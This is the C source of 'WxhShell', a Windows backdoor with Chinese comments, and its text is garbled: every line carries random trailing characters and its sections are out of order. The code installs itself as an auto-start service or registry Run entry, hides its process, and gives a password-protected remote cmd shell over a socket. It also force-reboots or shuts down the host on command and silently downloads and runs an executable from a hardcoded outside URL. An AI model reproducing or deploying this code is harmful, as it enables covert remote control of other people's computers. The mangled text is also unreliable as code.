    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  irh Z  
    if(Boot(SHUTDOWN)) 2K3j3|T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nUs=PD3)  
    else { 6x5Q*^w  
    closesocket(wsh); -7oIphJ=\  
    ExitThread(0); Z9H2! Cp  
    } Cm5L99Y  
    break; DmWa!5  
    } S^q^=q0F  
  // 获取shell m Urb  
  case 's': { "cS7E5-|  
    CmdShell(wsh); 5~>j98K  
    closesocket(wsh); ~Y0K Wx4  
    ExitThread(0); ;"f9"  
    break; &'neOf/~  
  } f*V^HfiQb  
  // 退出 p%Q{Rqc)  
  case 'x': { e`B!)Sr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x`2dN/wDhf  
    CloseIt(wsh); 5T"h7^}e  
    break; + S5uxO  
    } (gdzgLHy  
  // 离开 A?-t`J  
  case 'q': { /:-ig .YY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ; p+C0!B2  
    closesocket(wsh); \k$cg~  
    WSACleanup(); w3iX "w  
    exit(1); EGRIhnED#  
    break; P;7[5HFF  
        } H[R6 ?H@$F  
  } iyR5mA  
  } W`[7|8(6!  
e2xKo1?I  
  // 提示信息 )-6>!6hZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ hP]<$v  
} <,*w$  
  } 0/fwAp  
e Z L!Z!  
  return; EnMc9FN(y  
} / H GPy  
](+u'8  
// shell模块句柄 AHa]=ka>  
int CmdShell(SOCKET sock) 8XfOM f~d`  
{ Q>z (!'dw  
STARTUPINFO si; 1mv5B t  
ZeroMemory(&si,sizeof(si)); G{+zKs}~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s ldcI@Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UOe@R|79q  
PROCESS_INFORMATION ProcessInfo; 80U(q/H%9  
char cmdline[]="cmd"; ^MWp{E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mphs^k< Z  
  return 0; 1<]?@[l<  
} JFRbW Q0  
}Zp[f6^Q  
// 自身启动模式 O/l/$pe  
int StartFromService(void) h?QGJ^#8  
{ gE23C*!'&:  
typedef struct <UW-fI)X  
{ n2opy8J#!  
  DWORD ExitStatus; tB0f+ wC  
  DWORD PebBaseAddress; M\08 7k  
  DWORD AffinityMask; SR4 mbQ:  
  DWORD BasePriority; j3o?B  
  ULONG UniqueProcessId; _bCIVf`  
  ULONG InheritedFromUniqueProcessId; )C#>@W  
}   PROCESS_BASIC_INFORMATION; UJ)( Sw  
9KL)5_6 M  
PROCNTQSIP NtQueryInformationProcess; tac_MtW?  
`:gXQmt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2N&S__  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q' t"  
@Bsvk9}  
  HANDLE             hProcess; J32"Ytdo<  
  PROCESS_BASIC_INFORMATION pbi; RHI?_gf&  
y<ZT~e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4g+o/+6!4  
  if(NULL == hInst ) return 0; 1mv8[^pF  
Xq$9H@.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \NL*$SnxP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q] '2'"k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !imjfkG  
?KFj=Yo  
  if (!NtQueryInformationProcess) return 0; |v"&Y  
U uSCqI};  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {UuSNZ[^  
  if(!hProcess) return 0; g|{Ru  
.V{y9e+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1VPxCB\  
*)T7DN8  
  CloseHandle(hProcess); p+F>+OQ*  
DPWnvd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /,9n1|FrG  
if(hProcess==NULL) return 0; AR)A <  
3Q#3S  
HMODULE hMod; Y-y}gc_L  
char procName[255]; _lw:lZM?  
unsigned long cbNeeded; wEix8Ow*  
P7 qzZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XTq+  9  
Yx"~_xA/u  
  CloseHandle(hProcess); J'yiVneMw  
4='/]z  
if(strstr(procName,"services")) return 1; // 以服务启动 <xD6}h/  
j2%M-y4E  
  return 0; // 注册表启动 (7|!%IO.  
} -aM7>YR  
R@[1a+}5  
// 主模块 UmP\;  
int StartWxhshell(LPSTR lpCmdLine) -pN'r/$3V  
{ K^[Dz\ov5  
  SOCKET wsl; j'LO '&sQ(  
BOOL val=TRUE; ?,UO$#Xm  
  int port=0; NvJ}|w,Z  
  struct sockaddr_in door; oazy%n(KZ  
q[~+Zm  
  if(wscfg.ws_autoins) Install(); 8sU}[HH*1  
IoxdWQ4]A  
port=atoi(lpCmdLine); iRI7x)^0"z  
s,8g^aF4  
if(port<=0) port=wscfg.ws_port; SuJ4)f;'0  
'dd[= vzK  
  WSADATA data; gYa (-o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oN.#q$\` k  
RA:3ZV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e8hwXz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >^adxXw.o  
  door.sin_family = AF_INET; 9y*pn|A[F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cG4$)q;q  
  door.sin_port = htons(port); BA`K,#Ft7  
2]_fNCNLN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6V @ [< d  
closesocket(wsl); d6g^>}-!t  
return 1; WTj,9  
} Si=u=FI1e  
[_3L  
  if(listen(wsl,2) == INVALID_SOCKET) { MY z\ R \  
closesocket(wsl); x4/f5  
return 1; \`|OAC0a  
} B&z~}lL  
  Wxhshell(wsl); { VFr8F0*H  
  WSACleanup(); {GQRJ8m  
t|cTl/i 4  
return 0; u\}"l2 r  
Xs$UpQo  
} 0)9'x)l:  
]t.6bb4  
// 以NT服务方式启动 8i?:aN[.1b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ? VHOh9|AT  
{ cDLjjK7:   
DWORD   status = 0; s)V<dm;T  
  DWORD   specificError = 0xfffffff; njBK{  
2!g7F`/B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P(~vqo>!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W4S! rU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zr1A4%S"  
  serviceStatus.dwWin32ExitCode     = 0; *ta?7uSiT  
  serviceStatus.dwServiceSpecificExitCode = 0; @SH$QUM(  
  serviceStatus.dwCheckPoint       = 0; 7\ kixfEg  
  serviceStatus.dwWaitHint       = 0; 7G &I]>  
@LR:^>&*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ub@ Jwe  
  if (hServiceStatusHandle==0) return; N&-J,p~  
hBNA,e:  
status = GetLastError(); vuNq7V*}  
  if (status!=NO_ERROR) NekPl/4  
{ |E9iG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P^& =L&U  
    serviceStatus.dwCheckPoint       = 0; vjO@"2YEw  
    serviceStatus.dwWaitHint       = 0; 5YnTGf&  
    serviceStatus.dwWin32ExitCode     = status; Ce!xa\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^U]B&+m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;wj8:9 ;  
    return; QX|y};7\e  
  } :6y;U  
=.8fES  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v0'`K 5M  
  serviceStatus.dwCheckPoint       = 0; "/qm,$  
  serviceStatus.dwWaitHint       = 0; I2<5#|CXpZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >sm<$'vZ/  
} -)$5[jM]  
)~H&YINhn  
// 处理NT服务事件,比如:启动、停止 +:#UU;W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nx'Yevi0$  
{  nypG  
switch(fdwControl) 0XUWK@)P  
{ ;]sbz4?  
case SERVICE_CONTROL_STOP: &u~#bDh  
  serviceStatus.dwWin32ExitCode = 0; clO9l=g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h!q_''*;  
  serviceStatus.dwCheckPoint   = 0; $ {5|{`  
  serviceStatus.dwWaitHint     = 0; )|`|Usn#[  
  { /{*0 \`;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]U)Yg  
  } ZBl!7_[_  
  return; pkT26)aW  
case SERVICE_CONTROL_PAUSE: \9T /%[r#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Rk ~Zn  
  break; yZw5?{g@  
case SERVICE_CONTROL_CONTINUE: ?'+ kZ|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Arcsg   
  break; xdkC>o4>  
case SERVICE_CONTROL_INTERROGATE: u#~q86k  
  break; K *xca(6  
}; Ue2%w/Yo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n(?BZ'&!O  
} Gsa~zGN  
?5jq)xd2  
// 标准应用程序主函数 !pAb+6~T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |.Vs(0O  
{ b,):&M~p  
IJ#+"(?7,u  
// 获取操作系统版本 Auk#pO#  
OsIsNt=GetOsVer(); d@e2+3<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5!*@gn  
Z[?zaQ$  
  // 从命令行安装 1&#qq*{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1?,1EYT"  
-wrVhCd~g]  
  // 下载执行文件 j$Wd[Ja+O  
if(wscfg.ws_downexe) { lmpBf{~ S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9HBRWh6  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ v0beN6MG  
} HGl.dO 7NU  
=@y ?Np^A  
if(!OsIsNt) { ]o3K  
// 如果时win9x,隐藏进程并且设置为注册表启动 EaUO>S  
HideProc(); 4"~l^yK  
StartWxhshell(lpCmdLine); c= #V*<  
} : oO ?A  
else "1|\V.>>;  
  if(StartFromService()) O"V;otlC  
  // 以服务方式启动 nC(<eL  
  StartServiceCtrlDispatcher(DispatchTable); 1yV+~)by3  
else pUD(5v*0R  
  // 普通方式启动 f S-PM3  
  StartWxhshell(lpCmdLine); iM(Q-%HP_  
r%412 #  
return 0; t5;)<N`  
} gUHx(Fi[4  
dBNx2T}_0  
L5 Q^cY]p  
jHQnD]Hr  
=========================================== j`:D BO&)\  
P]%)c6Uh  
%=`wN^3t2  
z[+Sb;  
7-A/2/G<  
nR`)kORc  
" >vKOG@I  
#b wGDF  
#include <stdio.h> #$ooV1E  
#include <string.h> gnN"6r1  
#include <windows.h>  rBUWzpE"  
#include <winsock2.h> z=yE- I{  
#include <winsvc.h> i)th] 1K%  
#include <urlmon.h> am+w<NJ(us  
P^[y~I#{  
#pragma comment (lib, "Ws2_32.lib") _bn "c@s  
#pragma comment (lib, "urlmon.lib") 9>9,   
yV?qX\~*  
#define MAX_USER   100 // 最大客户端连接数 2uLBk<m5c  
#define BUF_SOCK   200 // sock buffer P "%f8C~r  
#define KEY_BUFF   255 // 输入 buffer Yaj}_M-  
= :BTv[lv  
#define REBOOT     0   // 重启 Z]08gH  
#define SHUTDOWN   1   // 关机 PnZC I!Mw  
1\ Gxk&  
#define DEF_PORT   5000 // 监听端口 \[&&4CN{  
,)M/mG?,  
#define REG_LEN     16   // 注册表键长度 <rxtdI"3  
#define SVC_LEN     80   // NT服务名长度 2;ju/9 x  
],s{%a5wC  
// 从dll定义API 3@42u G>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5 BLAa1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J#xZ.6)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y;<F|zIm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K$I`&M(  
XNJ3.w:R  
// wxhshell配置信息 -car>hQq  
struct WSCFG { +t%1FkI\  
  int ws_port;         // 监听端口 EhAaaG  
  char ws_passstr[REG_LEN]; // 口令 {"c`k4R  
  int ws_autoins;       // 安装标记, 1=yes 0=no JFFluL=-  
  char ws_regname[REG_LEN]; // 注册表键名 >Og|*g  
  char ws_svcname[REG_LEN]; // 服务名 1YN w=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F-Bj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;z T3Fv\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #Q'#/\5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Mj`g84  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }0,dG4Oo=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N}>[To3  
2Q5 -.2]  
}; AQwai>eL  
|k^C-  
// default Wxhshell configuration SHT`  
struct WSCFG wscfg={DEF_PORT, ![9$ru  
    "xuhuanlingzhe", -&l%CR,U  
    1, {gh<SZsE  
    "Wxhshell", +kN,OK~  
    "Wxhshell", Zc'^iDAY  
            "WxhShell Service", ,b4oV  
    "Wrsky Windows CmdShell Service", Eq|5PE^7  
    "Please Input Your Password: ", }N&? 8s=  
  1, ?|~KF:,#}  
  "http://www.wrsky.com/wxhshell.exe", z69u@  
  "Wxhshell.exe" cn: L]%<  
    }; 1,P\dGmu  
Y#QXvo%  
// 消息定义模块 }bSDhMV;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c h}wXn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q5lt[2Zyzd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fN/;BT  
char *msg_ws_ext="\n\rExit."; (eAz nTU  
char *msg_ws_end="\n\rQuit."; Lt ^*L% x  
char *msg_ws_boot="\n\rReboot..."; Gt)ij?~  
char *msg_ws_poff="\n\rShutdown..."; w'E(9gV  
char *msg_ws_down="\n\rSave to "; w{ ;Sp?Os  
rp+]f\] h  
char *msg_ws_err="\n\rErr!"; ..zX  
char *msg_ws_ok="\n\rOK!"; {Fqwr>e  
5'(T*"  
char ExeFile[MAX_PATH]; 33 ; '6/  
int nUser = 0; QQHQ3 \  
HANDLE handles[MAX_USER]; TF9A4  
int OsIsNt; 4/%Y@Z5  
bB>.dC  
SERVICE_STATUS       serviceStatus; xS>vmnW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tW a'[2L  
!nq`Py MR  
// 函数声明 #m17cDL  
int Install(void); {Kf5a m  
int Uninstall(void); A{e>7Z72  
int DownloadFile(char *sURL, SOCKET wsh); w3z'ZCcr;"  
int Boot(int flag); ':3[?d1Es  
void HideProc(void); G<* Iw>ep  
int GetOsVer(void); C1+f\A|9FP  
int Wxhshell(SOCKET wsl); .9N7`  
void TalkWithClient(void *cs); #uF`|M$u  
int CmdShell(SOCKET sock); g)R2V  
int StartFromService(void); N6v?Qzvi  
int StartWxhshell(LPSTR lpCmdLine); cg o  
&>B"/z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8Ihl}aguW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jZC[_p;  
IJt'[&D  
// 数据结构和表定义 fs?H  
SERVICE_TABLE_ENTRY DispatchTable[] = )ki Gk}2  
{ ^`B;SSV  
{wscfg.ws_svcname, NTServiceMain}, =H3tkMoi2  
{NULL, NULL} #4JLWg  
}; T:@7EL  
QM* T?PR  
// 自我安装 ]-9w'K d  
int Install(void) |j81?4<)v  
{ MB7*AA;  
  char svExeFile[MAX_PATH]; ([ -i5  
  HKEY key; U1HG{u,"y  
  strcpy(svExeFile,ExeFile); D6H?*4f]  
$8xb|S[  
// 如果是win9x系统,修改注册表设为自启动 p_(En4QSH  
if(!OsIsNt) { rlGv6)vb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -7]j[{?w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y SB=n d_  
  RegCloseKey(key); [sjkm+ ?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % P E x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EZN!3y| m  
  RegCloseKey(key); g8l6bh$}  
  return 0; H%XF~tF:  
    } l? U!rFRq`  
  } E3l*_b0  
} " :vEWp+g  
else { 7RWgc]@?>  
1]eRragm"  
// 如果是NT以上系统,安装为系统服务 k|\M(Z*(P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V.z8 ]iG  
if (schSCManager!=0) wMj #.Jh  
{ ]ly" K!1,  
  SC_HANDLE schService = CreateService GGhk~H4OP  
  ( i#hFpZ6u  
  schSCManager, ~ !!\#IX  
  wscfg.ws_svcname, dJ m9''T')  
  wscfg.ws_svcdisp, ~D>pu%F  
  SERVICE_ALL_ACCESS, R^$|D)(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Xy=;Z.]i  
  SERVICE_AUTO_START, 2,F9P+  
  SERVICE_ERROR_NORMAL, '5 ~cd  
  svExeFile, as|w} $  
  NULL, PCHspe9!y  
  NULL, )Z:D}r8[  
  NULL, `:;q4zij;  
  NULL, E_aBDiyDf  
  NULL Y*PfU +y~  
  ); @aZTx/  
  if (schService!=0) P!E2.K,  
  { 5K2K'ZkI  
  CloseServiceHandle(schService); Z#L4n#TT  
  CloseServiceHandle(schSCManager); V^&*y+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5.oIyC^Ik  
  strcat(svExeFile,wscfg.ws_svcname); 1kKfFpN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y}v3J(l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~bx ev/$d  
  RegCloseKey(key); j7gw?,  
  return 0; eu9*3'@A  
    } 4$[o;t>  
  } CDRbYO  
  CloseServiceHandle(schSCManager); {\(MMTQ  
} @$T$hMl  
} $q)YC.5$  
4minzrKM\  
return 1; 5N;'CAk  
} Mh4MaLw  
D,ZLo~  
// 自我卸载 T"W<l4i-  
int Uninstall(void) +IWH7qRtp  
{ #YYJ4^":k  
  HKEY key; ~cCMLK em  
@)uV Fw"\  
if(!OsIsNt) { e5>'H!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V7Cnu:0_  
  RegDeleteValue(key,wscfg.ws_regname); "H).2{3(x  
  RegCloseKey(key); fDf[:A,8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DJL.P6-W  
  RegDeleteValue(key,wscfg.ws_regname); $VvgzjrH  
  RegCloseKey(key); 'v~'NWfd  
  return 0; PnA{@n\  
  } JRo/ HY+  
} v/q-{ 1   
} ,;6V=ok  
else { xBVOIc[4(  
z6C(?R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AtG~!)hG  
if (schSCManager!=0) _ (F-(X|  
{ )6C+0b*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dHXe2rTE;&  
  if (schService!=0) ]`|$nU}v  
  { w,LmAWZ4Y  
  if(DeleteService(schService)!=0) { {:K_=IRZ  
  CloseServiceHandle(schService); [3G{NC|'  
  CloseServiceHandle(schSCManager); L^ J|cgmNw  
  return 0; w3(|A> s3  
  } >bh+!5Y0  
  CloseServiceHandle(schService); ],pB:=  
  } ^w\22 Q  
  CloseServiceHandle(schSCManager); #f2k*8"eAF  
} 8m?(* [[  
} B#Ybdp ;  
!S':G  
return 1; k.ou$mIY  
} X3l>GeUi  
/{i~-DVME  
// 从指定url下载文件 dZ`Y>wH_  
int DownloadFile(char *sURL, SOCKET wsh) @%Ld\8vdfJ  
{ \Y)HSJR;e  
  HRESULT hr; Z^&G9I#  
char seps[]= "/"; ~R w1  
char *token; rMDvnF  
char *file; rF-SvSj}  
char myURL[MAX_PATH]; j2MA['{  
char myFILE[MAX_PATH]; AygdAg'\  
Ayw_LCUD  
strcpy(myURL,sURL); ?ZlXh51  
  token=strtok(myURL,seps); })/P[^  
  while(token!=NULL) Yub}AuU`v  
  { Cdz&'en^  
    file=token; _Sr7b#)o  
  token=strtok(NULL,seps); iWf+wC|  
  } ;`78h?`  
2!s PgIz  
GetCurrentDirectory(MAX_PATH,myFILE); E(r_mF7:  
strcat(myFILE, "\\"); V#7,vas  
strcat(myFILE, file); ,=u;1  
  send(wsh,myFILE,strlen(myFILE),0); XIl <rN@-  
send(wsh,"...",3,0); Jw;~$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @*YF!LdU{M  
  if(hr==S_OK)  !Ld5Y$  
return 0; u /F!8#  
else u?Ffqt9'  
return 1; ?s^qWA  
)j36Y =r3  
} ,<rC,4-F<  
h+Co:pr  
// 系统电源模块 */;7Uv7  
int Boot(int flag) M*zpl}  
{ @sLN  
  HANDLE hToken; V!He2<  
  TOKEN_PRIVILEGES tkp; 7 m{lOR  
]->"4,}  
  if(OsIsNt) { !/XNpQP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mAW.p=;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r N$0qo  
    tkp.PrivilegeCount = 1; g-sNYd%?a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /4an@5.\C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p3=Py7iz  
if(flag==REBOOT) { m)tu~ neM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YhN<vZ}U!~  
  return 0; Z=a%)Ki?Ag  
} " ]S  
else { O k`}\NZL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yJ $6vmQ  
  return 0; _re# b?  
} 4Hj)Av <O(  
  } xS,24{-HJ  
  else { QRQZ{m  
if(flag==REBOOT) { 9eMle?pF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =0ZRG p  
  return 0; hC\ l \y  
} xuK"pS  
else { \?xM% (:<Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V"YeF:I  
  return 0; A(FnU:  
} FCE y1^u  
} %~!4DXrMk  
1+FVM\<&  
return 1; q?}C`5%D  
} iW` tr  
Ln h =y2  
// win9x进程隐藏模块 >C|pY6  
void HideProc(void) 2RkW/) A9  
{ +fKOX#%  
>yC=@Uq+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U,=f};  
  if ( hKernel != NULL ) X4V>qHV72  
  { 5#DMizv6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bJ^h{]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \Bo%2O%4  
    FreeLibrary(hKernel); k1wIb']m]z  
  } ,s[%,ep`  
>rd#,r  
return; /$c87\  
} EF`}*7)  
wMW<lT=;  
// 获取操作系统版本 0g?)j-  
int GetOsVer(void) :$k*y%Z*N&  
{ hne@I1  
  OSVERSIONINFO winfo; b>uD-CSA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (;{X-c}?  
  GetVersionEx(&winfo); z?o8h N\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X8)k'h  
  return 1; 4IeCb?  
  else l f>/  
  return 0; k =! Q  
} {MgRi 7  
xKUL}>8  
// 客户端句柄模块 2%%\jlT_  
int Wxhshell(SOCKET wsl) =]7o+L4  
{ p!UR;xHI\  
  SOCKET wsh; rwP#Yj[BK+  
  struct sockaddr_in client; I"Zp^j  
  DWORD myID; K<>kT4  
e5' I W__  
  while(nUser<MAX_USER) [}L~zn6>?a  
{ HRf;bKZ  
  int nSize=sizeof(client); FNQ<k[#K'~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,2FK$: M\  
  if(wsh==INVALID_SOCKET) return 1; b80#75Bj>  
o"VKAP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d[a(u WEl  
if(handles[nUser]==0) J,Sa7jv[  
  closesocket(wsh); )WqolB  
else =CLPz8  
  nUser++; "hk# pQ  
  } e*:K79 y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |v!N1+v0  
1VJ${\H]  
  return 0; pD<w@2K  
} $.`o  
ER"69zQg|2  
// 关闭 socket ofy"SM  
void CloseIt(SOCKET wsh) CWdsOS=  
{ _C !i(z!d  
closesocket(wsh); @DysM~I  
nUser--; :q9!  
ExitThread(0); ~i.*fL_Y  
} a-NTA  
(nqry[g&  
// 客户端请求句柄 7e"}ojt$  
void TalkWithClient(void *cs) %Ig$:I(o  
{ Y1PR?c Q  
bzi"7%c  
  SOCKET wsh=(SOCKET)cs; "Rj PTRe:  
  char pwd[SVC_LEN]; <[dcIw<7  
  char cmd[KEY_BUFF]; & zDuh[j}  
char chr[1]; f.6>6%l  
int i,j; @| z _&E  
~c)&9'  
  while (nUser < MAX_USER) { 26j<>>2  
M$K%e  
if(wscfg.ws_passstr) { (`.# n3{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pD{OB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q#g`D,:o%~  
  //ZeroMemory(pwd,KEY_BUFF); j`_S%E%X  
      i=0; @A,8 >0+  
  while(i<SVC_LEN) { sfXFh  
YmV/[{  
  // 设置超时 f+Y4~k  
  fd_set FdRead; [ws _ g,/  
  struct timeval TimeOut; &N} "4  
  FD_ZERO(&FdRead); e9LX0=  
  FD_SET(wsh,&FdRead); !Tnjha*  
  TimeOut.tv_sec=8; }1#m+ (;  
  TimeOut.tv_usec=0; Hv;xaT<}V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u BEw YQB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qDdO-fPev  
F- ,gj{s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #NM)  
  pwd=chr[0]; 5H3o?x   
  if(chr[0]==0xd || chr[0]==0xa) { Xh"9Bcjf  
  pwd=0; 3%POTAw%  
  break; Y|tHU'x  
  } `D+zX  
  i++; Olzw)WjG  
    } E+L7[  
@\by`3*Q  
  // 如果是非法用户,关闭 socket xFu ,e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0z=KnQx"4  
} T@W:@,34  
yT^2;/Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )qxt<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _U~R   
%2 r ~  
while(1) { '?rR>$s  
tc~gn!"  
  ZeroMemory(cmd,KEY_BUFF); RC_Pj)  
SAm%$v z%M  
      // 自动支持客户端 telnet标准   "c%wq 0  
  j=0; WDc[+Xyw  
  while(j<KEY_BUFF) { XFhH+4#]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2!%)_<  
  cmd[j]=chr[0]; 3bRxV @0.  
  if(chr[0]==0xa || chr[0]==0xd) { Gk:fw#R  
  cmd[j]=0; NM. e4  
  break; o0r&w;!  
  } B!'K20"gF  
  j++; oG,>Pk  
    } O,%UNjx9K  
mE~ WE+lw9  
  // 下载文件 MIJuJ]U}  
  if(strstr(cmd,"http://")) { dk&F?B{6T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v H HgZ  
  if(DownloadFile(cmd,wsh)) >iT mILA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fs]N9],=I  
  else ?b_E\8'q]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xw*e`9vAe  
  } +`>7cy%cZ  
  else { 1H-Wk  
hDXTC_^s  
    switch(cmd[0]) { *;Kp"j  
